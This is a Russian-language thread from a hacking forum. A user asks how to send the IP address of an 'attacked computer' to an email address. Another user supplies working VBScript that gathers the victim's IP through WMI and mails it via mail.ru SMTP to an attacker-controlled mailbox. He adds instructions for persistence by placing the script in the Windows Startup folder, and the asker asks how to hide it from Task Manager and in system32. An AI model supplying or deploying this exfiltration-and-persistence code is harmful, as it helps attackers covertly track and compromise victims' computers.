Форум АНТИЧАТ - Подскажите как написать батник для отправки ip на электронную почту

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)

Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.

Цитата:

Сообщение от kurt135

kurt135 said:
↑
Подскажите , код батника .который позволял бы отправлять айпишник атакованного компьютера на почту.

Тут вопрос через чего твой батник будет отправлять на почту?) Например у "жертвы" не настроен OutLook

лучше на VBS запилить MAPI скриптег отправки

ComradKraken: Можно подробнее о сием действии .

как бы так:

Код:

Code:

Set emailObj    = CreateObject("CDO.Message")



Set emailConfig = emailObj.Configuration



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2 

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60     



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = "tut_pochta_otkuda_send@mail.ru"

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = "tut_tvoy_parol"



emailObj.From     = "tut_pochta_otkuda_send@mail.ru"

emailObj.To       = "tut_pochta_kuda_send@mail.ru"



emailObj.Subject  = "Tsdfsfsf"

emailObj.TextBody = "fffasdasdasd"



emailConfig.Fields.Update



emailObj.Send

ComradKraken: Спасибо за текст батника . Можно только уточнить Что вообще написано в этом тексте (коде ) ? В смыслы ip жерты будет отправляться при каждым включении компьютера ? Какая почта лучше работает с данным кодом (yandex.ru,google) ? Дополнительного по не нужно к данному коду ?

Вы уж прости новичка Я не совсем в теме А что это ? Это разве код не для батника ?? Код для VBS ?

нет, эт был пример для отправки мыла без всяких outlookов с левого ящика,

ладно

сначала заведи почту с которой отправка будет идти( в этом примере скрипт настроен на отправку из "@mail.ru)

вот это сохранять в *.vbs :

Код:

Code:

Dim myIPAddress : myIPAddress = ""

Dim objWMIService : Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

Dim colAdapters : Set colAdapters = objWMIService.ExecQuery("Select IPAddress from Win32_NetworkAdapterConfiguration Where IPEnabled = True")

Dim objAdapter



For Each objAdapter in colAdapters

  If Not IsNull(objAdapter.IPAddress) Then myIPAddress = trim(objAdapter.IPAddress(0))

  exit for

Next



Dim RemoteSenderBoxName : RemoteSenderBoxName = "fuckUSA@mail.ru" '  сюда адрес ящика который ты завёл для отправки

Dim RemoteSenderBoxPasswd : RemoteSenderBoxPasswd  = "obamka-pidorg"    '  сюда пароль ящика который ты завёл для отправки

Dim MailReceiver : MailReceiver  = "russianhackersdidit@mail.ru"     '  сюда адрес почты куда получать ип собрался



Set emailObj      = CreateObject("CDO.Message")



Set emailConfig = emailObj.Configuration

'Set emailConfig  = CreateObject("CDO.Configuration")



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")= 2

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 120 



emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = RemoteSenderBoxName

emailConfig.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = RemoteSenderBoxPasswd



emailObj.From     = RemoteSenderBoxName

emailObj.To       = MailReceiver



emailObj.Subject  = "ip addr"

emailObj.TextBody = myIPAddress



emailConfig.Fields.Update



emailObj.Send

этот файлик можно запускать из виндовой консольки через wscript [имяфайла.vbs]

Если нужно чтобы отправка была при запуске машины, закинь этот *.vbs в папку

c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

ComradKraken: Огромейшое спасибо !!! Не хочу показаться наглым возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?

не за что

дочитай прошлое сообщение до конца, там указано что сделать чтобы

Цитата:

Сообщение от kurt135

kurt135 said:
↑
ComradKraken
: Огромейшое спасибо !!! Не хочу показаться наглым
возможно ли данный файл (vbs, с кодом) , с лепить с батником (в батнике прописать чтобы код vbs срабатывал при каждом включение компьютера, и также выключался ,чтобы не политься в диспетчере задач) и кинуть это добро куда нибудь в папку system32 ?